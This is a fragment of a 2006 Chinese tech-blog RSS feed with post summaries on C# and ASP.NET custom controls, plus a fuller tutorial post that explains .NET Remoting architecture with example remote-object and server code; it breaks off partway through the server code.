摘要: 1								using				 System;				  2																		using				 System.IO;				  3																		using				 System.Drawing;				  4																		using				 Sy...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2006/08/19/15545.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/15545.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-19 07:33 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/19/15545.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自定义控件</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/16/15369.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Wed, 16 Aug 2006 07:25:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/16/15369.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15369.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/16/15369.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15369.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15369.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 自定义控件																																								      								包括了用户自定义控件和定制控件两种方式，用户自定义控件是建立一个				.ascx				文件，将				ASP.NET				的控件进行组装，需要				ASP.NET				源代码，但定制控件则不同，定制控件本...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2006/08/16/15369.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/15369.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-16 15:25 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/16/15369.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Remoting 分布式应用程序</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/16/15368.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Wed, 16 Aug 2006 07:19:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/16/15368.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/15368.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/16/15368.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/15368.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/15368.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">Remoting </span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分布式应用程序</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>.NET Remoting</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可以用于访问另一个应用域中的对象，其体系结构额主要元素：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">远程对象：指运行在服务器上的对象，客户机不能直接调用远程对象上的方法，但是可以根据代理来调用。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通道：用于客户机和服务器之间的通信。有</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">TCP</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">HTTP</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">两种通道协议。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">消息：是为客户机和服务器之间的通信而创建的，消息被发送到通道中，消息中包含的内容：远程对象的信息、被调用的方法名称及所有参数。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">格式标识符：用于定义消息是如何传送到通道中的。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">格式标识符提供者：用于把格式标识符与通道连接起来。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代理对象：客户机调用的是代理对象上的方法，而不是远程对象上的方法，代理对象包括两种：透明代理对象和真实代理对象。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">消息接收器：是一个截取器对象，在服务器和客户机上都有这样的对象，接收器与通道相联系，真实代理对象使用消息接收器把消息传送到通道中，因此在消息进入通道之前，接收器可以进行截取工作。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">激活器：客户机可以通过激活器在服务器上创建远程对象，或截取一个被激活的服务器对象的代理对象。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>RemotingConfiguration</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类：用于配置远程服务器和客户机的实用类。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>ChannelServices</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">类：是一个实用类，可用于注册并把消息传送到通道中。</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">见如下简单例子：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">远程对象：</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 14pt">
						<span style="mso-tab-count: 1">      </span>
				</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">远程对象类继承于</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: teal; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">MarshalByRefObject</span>
				<span style="FONT-SIZE: 9pt; COLOR: teal; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">，</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">并且定义了远程的实现方法，形成</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Remoting</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的装配件</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Remoting.dll</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，当服务器和客户机程序调用远程对象时需要引用装配件</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt">Remoting.dll.<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">namespace</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> Remoting<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>
						<span style="COLOR: blue">public</span>
						<span style="COLOR: blue">class</span>
						<span style="COLOR: teal">HelloServer</span>:<span style="COLOR: teal">MarshalByRefObject<o:p></o:p></span></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>
						<span style="COLOR: blue">public</span> HelloServer()<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>System.<span style="COLOR: teal">Console</span>.WriteLine(<span style="COLOR: maroon">"HelloServer activated"</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>
						<span style="COLOR: blue">public</span>
						<span style="COLOR: teal">String</span> HelloMethod(<span style="COLOR: teal">String</span> name)<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">Console</span>.WriteLine(<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">                </span>
						<span style="COLOR: maroon">"Server Hello.HelloMethod : {0}"</span>, name);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: blue">return</span>
						<span style="COLOR: maroon">"Hi there "</span> + name;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">}<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">服务器：必须引用<span lang="EN-US">Remoting.dll</span>的装配件，服务器上需要创建一个含有端口号的<span lang="EN-US">ServerChannel</span>，这样远程对象就可以使用这个服务器通道了。<span lang="EN-US" style="COLOR: teal">WellKnownObjectMode</span><span lang="EN-US">.Singleton</span>模式说明为每一个方法调用都创建新的实例，服务器不保存远程对象中的状态。<span lang="EN-US"><o:p></o:p></span></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Collections.Generic;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Text;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting.Channels;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting.Channels.Tcp;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> System.Runtime.Remoting.Channels.Http;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">using</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> Remoting;<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">namespace</span>
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes"> Server<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>
						<span style="COLOR: blue">class</span>
						<span style="COLOR: teal">Program<o:p></o:p></span>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">    </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>
						<span style="COLOR: blue">static</span>
						<span style="COLOR: blue">int</span>
						<?xml:namespace prefix = st2 ns = "urn:schemas-microsoft-com:office:smarttags" /?>
						<st2:place w:st="on">Main</st2:place>(<span style="COLOR: blue">string</span>[] args)<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">        </span>{<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">TcpChannel</span> channel1 = <span style="COLOR: blue">new</span><span style="COLOR: teal">TcpChannel</span>(8085);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">HttpChannel</span> channel2 = <span style="COLOR: blue">new</span><span style="COLOR: teal">HttpChannel</span>(<?xml:namespace prefix = st1 ns = "Tencent" /?><st1:rtx w:st="on">8086</st1:rtx>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">ChannelServices</span>.RegisterChannel(channel1, <span style="COLOR: blue">false</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
						<span style="COLOR: teal">ChannelServices</span>.RegisterChannel(channel2, <span style="COLOR: blue">false</span>);<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left">
				<span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-no-proof: yes">
						<span style="mso-spacerun: yes">            </span>
